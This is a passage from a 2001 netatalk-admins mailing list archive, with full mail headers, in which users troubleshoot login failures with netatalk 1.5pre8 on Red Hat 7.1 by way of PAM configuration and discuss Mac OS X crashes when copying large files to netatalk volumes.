	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id VAA02340
	for <netatalk-admins@umich.edu>; Sat, 6 Oct 2001 21:35:43 -0400 (EDT)
Received: from [10.142.10.11] (adsl-port-1-14.3z.net [216.2.125.14])
	by shell.3z.net (8.9.3/8.9.3) with ESMTP id VAA22401
	for <netatalk-admins@umich.edu>; Sat, 6 Oct 2001 21:35:27 -0400
User-Agent: Microsoft-Entourage/9.0.2509
Date: Sat, 06 Oct 2001 21:38:54 -0400
Subject: Login Problems
From: Floyd Resler <fresler@charsys.com>
To: <netatalk-admins@umich.edu>
Message-ID: <B7E52A6E.3099%fresler@charsys.com>
Mime-version: 1.0
Content-type: multipart/alternative; boundary="B_3085249135_345022"

> This message is in MIME format. Since your mail reader does not understand
this format, some or all of this message may not be legible.

--B_3085249135_345022
Content-type: text/plain; charset="ISO-8859-1"
Content-transfer-encoding: quoted-printable

I am at my wit=B9s end on this one.  I have compiled netatalk with the
=8Bwith-shadows flag and I still can=B9t log in.  I am using netatalk-1.5pre8
and Linux 7.1.  I don=B9t know what else to try.  Any help would be
appreciated.

Thanks,
    Floyd 

--B_3085249135_345022
Content-type: text/html; charset="ISO-8859-1"
Content-transfer-encoding: quoted-printable

<HTML>
<HEAD>
<TITLE>Login Problems</TITLE>
</HEAD>
<BODY>
<FONT FACE=3D"Verdana">I am at my wit&#8217;s end on this one. &nbsp;I have c=
ompiled netatalk with the &#8212;with-shadows flag and I still can&#8217;t l=
og in. &nbsp;I am using netatalk-1.5pre8 and Linux 7.1. &nbsp;I don&#8217;t =
know what else to try. &nbsp;Any help would be appreciated.<BR>
<BR>
Thanks,<BR>
&nbsp;&nbsp;&nbsp;&nbsp;Floyd</FONT>
</BODY>
</HTML>


--B_3085249135_345022--


From netatalk.administrators-errors@umich.edu  Sat Oct  6 21:57:01 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from easycomeeasygo.mr.itd.umich.edu (easycomeeasygo.mr.itd.umich.edu [141.211.14.26])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id VAA12807
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Sat, 6 Oct 2001 21:57:01 -0400 (EDT)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id VAA17442
	for netatalk-admins@terminator.rsug.itd.umich.edu; Sat, 6 Oct 2001 21:57:01 -0400 (EDT)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id VAA17424
	for netatalk.administrators-members@umich.edu; Sat, 6 Oct 2001 21:57:00 -0400 (EDT)
Received: from charlotte.newsargus.com ([216.76.60.8])
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u+) with SMTP id VAA17360
	for <netatalk-admins@umich.edu>; Sat, 6 Oct 2001 21:56:58 -0400 (EDT)
Message-Id: <200110070156.VAA17360@easycomeeasygo.mr.itd.umich.edu>
Received: from localhost by charlotte.newsargus.com (AppleShare IP Mail Server 6.0) id 1262647 via TCP with SMTP; Sat, 06 Oct 2001 22:00:11 -0400
Date: Sat, 6 Oct 2001 21:56:41 -0400
Content-Type: text/plain;
	format=flowed;
	charset=us-ascii
X-Mailer: Apple Mail (2.388)
From: David Rouse <david@rouseworld.org>
To: netatalk-admins@umich.edu
Mime-Version: 1.0 (Apple Message framework v388)
In-Reply-To: <20011005151228.7706.qmail@uis-1.unitedis.com>
Subject: Re: OS X irony
Content-Transfer-Encoding: 7bit

On Friday, October 5, 2001, at 11:12  AM, Rick Zeman wrote:

> I did from 1.4b2, both directions.  Worked well.
>
>>>> <roger.day@globalgraphics.com> 10/05/01 10:35AM >>>
> Did you try tran, say, a 500 megabyte file structure from OSX to the 
> paritions
> mounted via netatalk 1.5pre7? This crashes the 10.0.1 machine.

I haven't moved quite as much at one go, but 1.4b2+asun2.1.3 seems to 
work fine with Mac OS 10.0.4. I've copied mpg and mov files from and to 
(and opened from) the server with no trouble. Machine's a Sun ss1000 
running Solaris 2.7.

--
drouse


From netatalk.administrators-errors@umich.edu  Sat Oct  6 22:00:56 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kidgalahad.mr.itd.umich.edu (kidgalahad.mr.itd.umich.edu [141.211.125.18])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id WAA12909
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Sat, 6 Oct 2001 22:00:56 -0400 (EDT)
Received: (from daemon@localhost)
	by kidgalahad.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id WAA03847
	for netatalk-admins@terminator.rsug.itd.umich.edu; Sat, 6 Oct 2001 22:00:56 -0400 (EDT)
Received: (from daemon@localhost)
	by kidgalahad.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id WAA03829
	for netatalk.administrators-members@umich.edu; Sat, 6 Oct 2001 22:00:56 -0400 (EDT)
Received: from carme.affordablehost.com (host77.globaltap.com [64.23.37.77])
	by kidgalahad.mr.itd.umich.edu (8.9.3/3.1u+) with SMTP id WAA03645
	for <netatalk-admins@umich.edu>; Sat, 6 Oct 2001 22:00:50 -0400 (EDT)
From: mikko@fs.sorl.net
Received: (qmail 15322 invoked from network); 7 Oct 2001 01:57:16 -0000
Received: from as6-6-3.kt.g.bonet.se (HELO sorl2.fs.sorl.net) (194.236.50.26)
  by host77.globaltap.com with SMTP; 7 Oct 2001 01:57:16 -0000
Message-Id: <5.1.0.14.2.20011007035809.01c48b58@carme.affordablehost.com>
X-Sender: postmaster%fs.sorl.net@carme.affordablehost.com
X-Mailer: QUALCOMM Windows Eudora Version 5.1
Date: Sun, 07 Oct 2001 04:01:16 +0200
To: netatalk-admins@umich.edu
Subject: Re: Login Problems
In-Reply-To: <B7E52A6E.3099%fresler@charsys.com>
Mime-Version: 1.0
Content-Type: multipart/alternative;
	boundary="=====================_148711796==_.ALT"

--=====================_148711796==_.ALT
Content-Type: text/plain; charset="us-ascii"; format=flowed

Try this:

./configure --enable-redhat --with-pam

then put
/usr/local/etc/pam.d/netatalk
in
/etc/pam.d/

/cheers, Mikko


At 03:38 2001-10-07, you wrote:
>I am at my wit s end on this one.  I have compiled netatalk with the 
>with-shadows flag and I still can t log in.  I am using netatalk-1.5pre8 
>and Linux 7.1.  I don t know what else to try.  Any help would be appreciated.
>
>Thanks,
>     Floyd


--=====================_148711796==_.ALT
Content-Type: text/html; charset="us-ascii"

<html>
Try this:<br><br>
./configure --enable-redhat --with-pam<br><br>
then put<br>
/usr/local/etc/pam.d/netatalk<br>
in<br>
/etc/pam.d/<br><br>
/cheers, Mikko<br><br>
<br>
At 03:38 2001-10-07, you wrote:<br>
<blockquote type=cite class=cite cite><font face="Verdana">I am at my wit
s end on this one.&nbsp; I have compiled netatalk with the with-shadows
flag and I still can t log in.&nbsp; I am using netatalk-1.5pre8 and
Linux 7.1.&nbsp; I don t know what else to try.&nbsp; Any help would be
appreciated.<br><br>
Thanks,<br>
&nbsp;&nbsp;&nbsp; Floyd</font> </blockquote><br>
</html>

--=====================_148711796==_.ALT--


From netatalk.administrators-errors@umich.edu  Sat Oct  6 22:05:26 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from roustabout.mr.itd.umich.edu (roustabout.mr.itd.umich.edu [141.211.125.16])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id WAA13025
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Sat, 6 Oct 2001 22:05:26 -0400 (EDT)
Received: (from daemon@localhost)
	by roustabout.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id WAA00016
	for netatalk-admins@terminator.rsug.itd.umich.edu; Sat, 6 Oct 2001 22:05:26 -0400 (EDT)
Received: (from daemon@localhost)
	by roustabout.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id WAA29998
	for netatalk.administrators-members@umich.edu; Sat, 6 Oct 2001 22:05:25 -0400 (EDT)
Received: from carme.affordablehost.com (host77.globaltap.com [64.23.37.77])
	by roustabout.mr.itd.umich.edu (8.9.3/3.1u+) with SMTP id WAA29882
	for <netatalk-admins@umich.edu>; Sat, 6 Oct 2001 22:05:19 -0400 (EDT)
From: mikko@fs.sorl.net
Received: (qmail 15677 invoked from network); 7 Oct 2001 02:01:41 -0000
Received: from as6-6-3.kt.g.bonet.se (HELO sorl2.fs.sorl.net) (194.236.50.26)
  by host77.globaltap.com with SMTP; 7 Oct 2001 02:01:41 -0000
Message-Id: <5.1.0.14.2.20011007040316.01c49868@carme.affordablehost.com>
X-Sender: postmaster%fs.sorl.net@carme.affordablehost.com
X-Mailer: QUALCOMM Windows Eudora Version 5.1
Date: Sun, 07 Oct 2001 04:05:40 +0200
To: netatalk-admins@umich.edu
Subject: Re: Login Problems
Mime-Version: 1.0
Content-Type: multipart/alternative;
	boundary="=====================_148976556==_.ALT"

--=====================_148976556==_.ALT
Content-Type: text/plain; charset="us-ascii"; format=flowed

Try this:

./configure --enable-redhat --with-pam

then put
/usr/local/etc/pam.d/netatalk
in
/etc/pam.d/

my pam.d/netatalk lokks like this:
auth            required        pam_unix_auth.so
account         required        pam_unix_acct.so
session         required        pam_unix_session.so
password        required        pam_unix_passwd.so

and it works

/cheers, Mikko


At 03:38 2001-10-07, you wrote:
>I am at my wit s end on this one.  I have compiled netatalk with the 
>with-shadows flag and I still can t log in.  I am using netatalk-1.5pre8 
>and Linux 7.1.  I don t know what else to try.  Any help would be appreciated.
>
>Thanks,
>     Floyd


--=====================_148976556==_.ALT
Content-Type: text/html; charset="us-ascii"

<html>
Try this:<br><br>
./configure --enable-redhat --with-pam<br><br>
then put<br>
/usr/local/etc/pam.d/netatalk<br>
in<br>
/etc/pam.d/<br><br>
my pam.d/netatalk lokks like this:<br>
auth&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
required&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; pam_unix_auth.so<br>
account&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
required&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; pam_unix_acct.so<br>
session&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
required&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
pam_unix_session.so<br>
password&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
required&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
pam_unix_passwd.so<br><br>
and it works<br><br>
/cheers, Mikko<br><br>
<br>
At 03:38 2001-10-07, you wrote:<br>
<blockquote type=cite class=cite cite><font face="Verdana">I am at my wit
s end on this one.&nbsp; I have compiled netatalk with the with-shadows
flag and I still can t log in.&nbsp; I am using netatalk-1.5pre8 and
Linux 7.1.&nbsp; I don t know what else to try.&nbsp; Any help would be
appreciated.<br><br>
Thanks,<br>
&nbsp;&nbsp;&nbsp; Floyd</font> </blockquote><br>
</html>

--=====================_148976556==_.ALT--


From netatalk.administrators-errors@umich.edu  Sat Oct  6 23:45:19 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from easycomeeasygo.mr.itd.umich.edu (easycomeeasygo.mr.itd.umich.edu [141.211.14.26])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id XAA16805
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Sat, 6 Oct 2001 23:45:18 -0400 (EDT)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id XAA20872
	for netatalk-admins@terminator.rsug.itd.umich.edu; Sat, 6 Oct 2001 23:45:18 -0400 (EDT)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id XAA20843
	for netatalk.administrators-members@umich.edu; Sat, 6 Oct 2001 23:45:18 -0400 (EDT)
Received: from hobbiton.shire.net (frogmorton.shire.net [204.228.145.136])
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id XAA20625
	for <netatalk-admins@umich.edu>; Sat, 6 Oct 2001 23:45:13 -0400 (EDT)
Received: from nh-merrimack1b-164.mrrmnh.adelphia.net ([24.49.156.164] helo=bloodberry)
	by hobbiton.shire.net with asmtp (Exim 3.22 #6)
	id 15q4ns-000I4W-00; Sat, 06 Oct 2001 21:40:36 -0600
Date: Sat, 6 Oct 2001 23:44:35 -0400
Subject: Re: OS X irony
Content-Type: text/plain; charset=US-ASCII; format=flowed
Mime-Version: 1.0 (Apple Message framework v472)
Cc: Chad Cunningham <ccunning@math.ohio-state.edu>, netatalk-admins@umich.edu,
        Chip Mefford <cmefford@avwashington.com>
To: roger.day@globalgraphics.com
From: "Chad Leigh -- ObjectWerks Inc." <chad@objectwerks.com>
In-Reply-To: <80256ADC.00502D54.00@notescam.cam.harlequin.co.uk>
Message-Id: <A078AB02-BAD5-11D5-850E-000502EDE760@objectwerks.com>
Content-Transfer-Encoding: 7bit
X-Mailer: Apple Mail (2.472)


On Friday, October 5, 2001, at 10:35  AM, roger.day@globalgraphics.com 
wrote:

> Did you try tran, say, a 500 megabyte file structure from OSX to the 
> paritions
> mounted via netatalk 1.5pre7? This crashes the 10.0.1 machine.
>

I have 1.5pre7 on a FreeBSD box.  I have 10.1 on an iMac.  I copied a 
65mb file from the 10.1 machine just fine.  Then I dragged an installer 
CD of around 245mb that had the 65mb file and many .mov and .aiff files 
onto the netatlk volume  (TCP) and the first time the netatlk volume 
disappeared after all but around 3 mb had transferred over.  Then I 
remounted the netatalk volume (again TCP) and successfully copied the CD 
over.  I don't have any 500mb files to try but the 65mb file and the 
245mb drag of an installer cd worked fine.

Chad


From netatalk.administrators-errors@umich.edu  Mon Oct  8 04:04:18 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kidgalahad.mr.itd.umich.edu (kidgalahad.mr.itd.umich.edu [141.211.125.18])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id EAA20650
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Mon, 8 Oct 2001 04:04:18 -0400 (EDT)
Received: (from daemon@localhost)
	by kidgalahad.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id EAA29549
	for netatalk-admins@terminator.rsug.itd.umich.edu; Mon, 8 Oct 2001 04:04:18 -0400 (EDT)
Received: (from daemon@localhost)
	by kidgalahad.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id EAA29541
	for netatalk.administrators-members@umich.edu; Mon, 8 Oct 2001 04:04:18 -0400 (EDT)
Received: from carme.affordablehost.com (host77.globaltap.com [64.23.37.77])
	by kidgalahad.mr.itd.umich.edu (8.9.3/3.1u+) with SMTP id EAA29533
	for <netatalk-admins@umich.edu>; Mon, 8 Oct 2001 04:04:17 -0400 (EDT)
From: mikko@fs.sorl.net
Received: (qmail 17887 invoked from network); 8 Oct 2001 08:00:33 -0000
Received: from as6-6-3.kt.g.bonet.se (HELO sorl2.fs.sorl.net) (194.236.50.26)
  by host77.globaltap.com with SMTP; 8 Oct 2001 08:00:33 -0000
Message-Id: <5.1.0.14.2.20011008100054.01cd4bd8@carme.affordablehost.com>
X-Sender: postmaster%fs.sorl.net@carme.affordablehost.com
X-Mailer: QUALCOMM Windows Eudora Version 5.1
Date: Mon, 08 Oct 2001 10:04:57 +0200
To: netatalk-admins@umich.edu
Subject: Re: Login Problems
In-Reply-To: <B7E5C3A4.3146%fresler@charsys.com>
References: <5.1.0.14.2.20011007040316.01c49868@carme.affordablehost.com>
Mime-Version: 1.0
Content-Type: multipart/alternative;
	boundary="=====================_50964903==_.ALT"

--=====================_50964903==_.ALT
Content-Type: text/plain; charset="us-ascii"; format=flowed

Hi,

This solved my login problems on 1.5pre7.....

I tried to upgrade to 1.5pre8 this weekend but it didnt work.
I compiled/installed it the same way as 1.5pre7 but now the problem is the
same as yours, users cannot login. If you solve this problem please let me 
know.

/Mikko




At 14:32 2001-10-07, you wrote:
>On 10/6/01 10:05 PM, "mikko@fs.sorl.net" <mikko@fs.sorl.net> sat down and 
>composed:
>Try this:
>
>./configure --enable-redhat --with-pam
>
>then put
>/usr/local/etc/pam.d/netatalk
>in
>/etc/pam.d/
>
>my pam.d/netatalk lokks like this:
>auth           required        pam_unix_auth.so
>account        required        pam_unix_acct.so
>session        required       pam_unix_session.so
>password       required       pam_unix_passwd.so
>
>and it works
>
>/cheers, Mikko
>
>
>
>Thanks for the help, but it didn t work. :(  I re-compiled with the flags 
>you suggested and I made my /etc/pam.d/netatalk file look just like 
>yours.  I still get the User unknown, password incorrect, or logon 
>disabled error. Any other ideas?
>
>Thanks,
>     Floyd


--=====================_50964903==_.ALT
Content-Type: text/html; charset="us-ascii"

<html>
Hi,<br><br>
This solved my login problems on 1.5pre7.....<br><br>
I tried to upgrade to 1.5pre8 this weekend but it didnt work.<br>
I compiled/installed it the same way as 1.5pre7 but now the problem is
the<br>
same as yours, users cannot login. If you solve this problem please let
me know.<br><br>
/Mikko<br><br>
<br><br>
<br>
At 14:32 2001-10-07, you wrote:<br>
<blockquote type=cite class=cite cite><font face="Verdana">On 10/6/01
10:05 PM, &quot;mikko@fs.sorl.net&quot; &lt;mikko@fs.sorl.net&gt; sat
down and composed:<br>
</font>
<dl>
<dd>Try this:<br><br>

<dd>./configure --enable-redhat --with-pam<br><br>

<dd>then put
<dd>/usr/local/etc/pam.d/netatalk
<dd>in
<dd>/etc/pam.d/<br><br>

<dd>my pam.d/netatalk lokks like this:
<dd>auth&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
required&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; pam_unix_auth.so
<dd>account&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
required&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; pam_unix_acct.so
<dd>session&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
required&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; pam_unix_session.so
<dd>password&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
required&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; pam_unix_passwd.so<br><br>

<dd>and it works<br><br>

<dd>/cheers, Mikko<br><br>
<br><br>

<dd>Thanks for the help, but it didn t work. :(&nbsp; I re-compiled with
the flags you suggested and I made my /etc/pam.d/netatalk file look just
like yours.&nbsp; I still get the User unknown, password incorrect, or
logon disabled error. Any other ideas?<br><br>

<dd>Thanks,
<dd>&nbsp;&nbsp;&nbsp; Floyd
</dl><font face="Verdana"></font></blockquote><br>
</html>

--=====================_50964903==_.ALT--


From netatalk.administrators-errors@umich.edu  Mon Oct  8 05:02:25 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kingcreole.mr.itd.umich.edu (kingcreole.mr.itd.umich.edu [141.211.14.25])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id FAA22515
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Mon, 8 Oct 2001 05:02:25 -0400 (EDT)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id FAA29455
	for netatalk-admins@terminator.rsug.itd.umich.edu; Mon, 8 Oct 2001 05:02:25 -0400 (EDT)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id FAA29439
	for netatalk.administrators-members@umich.edu; Mon, 8 Oct 2001 05:02:24 -0400 (EDT)
Received: from mail.london-2.starlabs.net (mail.london-2.starlabs.net [212.125.75.4])
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u+) with SMTP id FAA29355
	for <netatalk-admins@umich.edu>; Mon, 8 Oct 2001 05:02:22 -0400 (EDT)
From: roger.day@globalgraphics.com
X-VirusChecked: Checked
Received: (qmail 31779 invoked from network); 8 Oct 2001 08:57:35 -0000
Received: from holly.cam.harlequin.co.uk (193.128.4.58)
  by server-33.tower-1.london-2.starlabs.net with SMTP; 8 Oct 2001 08:57:35 -0000
Received: from gpo.cam.harlequin.co.uk (gpo.cam.harlequin.co.uk [192.88.238.241])
          by holly.cam.harlequin.co.uk (8.8.4/8.8.4) with ESMTP
	  id KAA06614; Mon, 8 Oct 2001 10:02:15 +0100 (BST)
Received: from notescam.cam.harlequin.co.uk (notescam.cam.harlequin.co.uk [172.16.16.169])
          by gpo.cam.harlequin.co.uk (8.8.4/8.8.4) with SMTP
	  id KAA11695; Mon, 8 Oct 2001 10:02:13 +0100 (BST)
Received: by notescam.cam.harlequin.co.uk(Lotus SMTP MTA v4.6.7  (934.1 12-30-1999))  id 80256ADF.0031A1BF ; Mon, 8 Oct 2001 10:02:06 +0100
X-Lotus-FromDomain: HARLEQUIN
To: Thomas Schierle <tschierle@visual-s.de>
cc: Netatalk-Admins <netatalk-admins@umich.edu>
Message-ID: <80256ADF.0031A03E.00@notescam.cam.harlequin.co.uk>
Date: Mon, 8 Oct 2001 10:02:01 +0100
Subject: Re: OS X irony
Mime-Version: 1.0
Content-type: text/plain; charset=us-ascii
Content-Disposition: inline

typo - that should be 10.0.4. I was so excited at getting my 10.1 upgrade!!!
At 05/10/01 21:00:38, Thomas Schierle <tschierle@visual-s.de> wrote:
#  On 2001-10-05 16:35 +0200,
#  "roger.day@globalgraphics.com"<roger.day@globalgraphics.com> wrote:
#
#  > Did you try tran, say, a 500 megabyte file structure from OSX to the
paritions
#  > mounted via netatalk 1.5pre7? This crashes the 10.0.1 machine.
#                                                   ^^^^^^
#  is this just a typo?
#
#  I believe nobody should expect any release of OS X below 10.0.4 to
#  even work in regards to AppleTalk. Apple did a considerable amount
#  of bugfixing with the 10.0.4 update.
#  10.1 apparently incorporates the first *usable* AppleShare client.
#
#  --
#  Thomas Schierle, Munich, Germany
#
#  PGP key [DSS/DH] 0xA23CDA1D available at various public key servers
#
#
Roger



From netatalk.administrators-errors@umich.edu  Mon Oct  8 05:10:10 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from easycomeeasygo.mr.itd.umich.edu (easycomeeasygo.mr.itd.umich.edu [141.211.14.26])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id FAA22776
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Mon, 8 Oct 2001 05:10:10 -0400 (EDT)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id FAA19643
	for netatalk-admins@terminator.rsug.itd.umich.edu; Mon, 8 Oct 2001 05:10:10 -0400 (EDT)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id FAA19633
	for netatalk.administrators-members@umich.edu; Mon, 8 Oct 2001 05:10:10 -0400 (EDT)
Received: from mail.london-2.starlabs.net (mail.london-2.starlabs.net [212.125.75.4])
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u+) with SMTP id FAA19608
	for <netatalk-admins@umich.edu>; Mon, 8 Oct 2001 05:10:08 -0400 (EDT)
From: roger.day@globalgraphics.com
X-VirusChecked: Checked
Received: (qmail 5246 invoked from network); 8 Oct 2001 09:05:33 -0000
Received: from holly.cam.harlequin.co.uk (193.128.4.58)
  by server-48.tower-1.london-2.starlabs.net with SMTP; 8 Oct 2001 09:05:33 -0000
Received: from gpo.cam.harlequin.co.uk (gpo.cam.harlequin.co.uk [192.88.238.241])
          by holly.cam.harlequin.co.uk (8.8.4/8.8.4) with ESMTP
	  id KAA06705; Mon, 8 Oct 2001 10:10:01 +0100 (BST)
Received: from notescam.cam.harlequin.co.uk (notescam.cam.harlequin.co.uk [172.16.16.169])
          by gpo.cam.harlequin.co.uk (8.8.4/8.8.4) with SMTP
	  id KAA12391; Mon, 8 Oct 2001 10:09:55 +0100 (BST)
Received: by notescam.cam.harlequin.co.uk(Lotus SMTP MTA v4.6.7  (934.1 12-30-1999))  id 80256ADF.00325780 ; Mon, 8 Oct 2001 10:09:52 +0100
X-Lotus-FromDomain: HARLEQUIN
To: "Chad Leigh -- ObjectWerks Inc." <chad@objectwerks.com>
cc: Chad Cunningham <ccunning@math.ohio-state.edu>, netatalk-admins@umich.edu,
        Chip Mefford <cmefford@avwashington.com>
Message-ID: <80256ADF.003256AC.00@notescam.cam.harlequin.co.uk>
Date: Mon, 8 Oct 2001 10:09:49 +0100
Subject: Re: OS X irony
Mime-Version: 1.0
Content-type: text/plain; charset=us-ascii
Content-Disposition: inline

that's dragging big files/file groups from OSX 10.0.4 to Redhat Linux 7.1 - the
OSX would throw a kernel panic -

At 07/10/01 04:44:35, "Chad Leigh -- ObjectWerks Inc." <chad@objectwerks.com>
wrote:
#  On Friday, October 5, 2001, at 10:35  AM, roger.day@globalgraphics.com
#  wrote:
#
#  > Did you try tran, say, a 500 megabyte file structure from OSX to the
#  > paritions
#  > mounted via netatalk 1.5pre7? This crashes the 10.0.1 machine.
#  >
#
#  I have 1.5pre7 on a FreeBSD box.  I have 10.1 on an iMac.  I copied a
#  65mb file from the 10.1 machine just fine.  Then I dragged an installer
#  CD of around 245mb that had the 65mb file and many .mov and .aiff files
#  onto the netatlk volume  (TCP) and the first time the netatlk volume
#  disappeared after all but around 3 mb had transferred over.  Then I
#  remounted the netatalk volume (again TCP) and successfully copied the CD
#  over.  I don't have any 500mb files to try but the 65mb file and the
#  245mb drag of an installer cd worked fine.
#
#  Chad
#
Roger



From netatalk.administrators-errors@umich.edu  Mon Oct  8 17:07:05 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from easycomeeasygo.mr.itd.umich.edu (easycomeeasygo.mr.itd.umich.edu [141.211.14.26])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id RAA25423
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Mon, 8 Oct 2001 17:07:05 -0400 (EDT)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id RAA14825
	for netatalk-admins@terminator.rsug.itd.umich.edu; Mon, 8 Oct 2001 17:07:05 -0400 (EDT)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id RAA14809
	for netatalk.administrators-members@umich.edu; Mon, 8 Oct 2001 17:07:05 -0400 (EDT)
Received: from carme.affordablehost.com (host77.globaltap.com [64.23.37.77])
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u+) with SMTP id RAA14777
	for <netatalk-admins@umich.edu>; Mon, 8 Oct 2001 17:07:04 -0400 (EDT)
From: mikko@fs.sorl.net
Received: (qmail 28981 invoked from network); 8 Oct 2001 21:06:56 -0000
Received: from as6-6-3.kt.g.bonet.se (HELO sorl2.fs.sorl.net) (194.236.50.26)
  by host77.globaltap.com with SMTP; 8 Oct 2001 21:06:56 -0000
Message-Id: <5.1.0.14.2.20011008230345.01ccaaf0@carme.affordablehost.com>
X-Sender: postmaster%fs.sorl.net@carme.affordablehost.com
X-Mailer: QUALCOMM Windows Eudora Version 5.1
Date: Mon, 08 Oct 2001 23:07:43 +0200
To: netatalk-admins@umich.edu
Subject: 1.5pre8 login probs
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"; format=flowed

Hi,

It seems that the configure script does not generate
a correct etc/uams/Makefile, it doesnt matter, --with-pam or not.
I had to remove the # from this Makefile in front of the PAM & DHX modules
for it to compile those modules obviously.

All the best /Mikko


From netatalk.administrators-errors@umich.edu  Mon Oct  8 17:12:26 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kidgalahad.mr.itd.umich.edu (kidgalahad.mr.itd.umich.edu [141.211.125.18])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id RAA25814
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Mon, 8 Oct 2001 17:12:26 -0400 (EDT)
Received: (from daemon@localhost)
	by kidgalahad.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id RAA02898
	for netatalk-admins@terminator.rsug.itd.umich.edu; Mon, 8 Oct 2001 17:12:26 -0400 (EDT)
Received: (from daemon@localhost)
	by kidgalahad.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id RAA02881
	for netatalk.administrators-members@umich.edu; Mon, 8 Oct 2001 17:12:25 -0400 (EDT)
Received: from carme.affordablehost.com (host77.globaltap.com [64.23.37.77])
	by kidgalahad.mr.itd.umich.edu (8.9.3/3.1u+) with SMTP id RAA02840
	for <netatalk-admins@umich.edu>; Mon, 8 Oct 2001 17:12:24 -0400 (EDT)
From: mikko@fs.sorl.net
Received: (qmail 29658 invoked from network); 8 Oct 2001 21:12:21 -0000
Received: from as6-6-3.kt.g.bonet.se (HELO sorl2.fs.sorl.net) (194.236.50.26)
  by host77.globaltap.com with SMTP; 8 Oct 2001 21:12:21 -0000
Message-Id: <5.1.0.14.2.20011008230941.01ccecb8@carme.affordablehost.com>
X-Sender: postmaster%fs.sorl.net@carme.affordablehost.com
X-Mailer: QUALCOMM Windows Eudora Version 5.1
Date: Mon, 08 Oct 2001 23:13:08 +0200
To: netatalk-admins@umich.edu
Subject: It works, do I need to fix it?
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"; format=flowed

Hi,

The AppleTalk server starts several times or something,
if someone could help on why the /var/log/messages
looks like this I'd be most greatfull and/of if that is normal.
This is 1.5pre8 on RH7.1.

/var/log/messages:
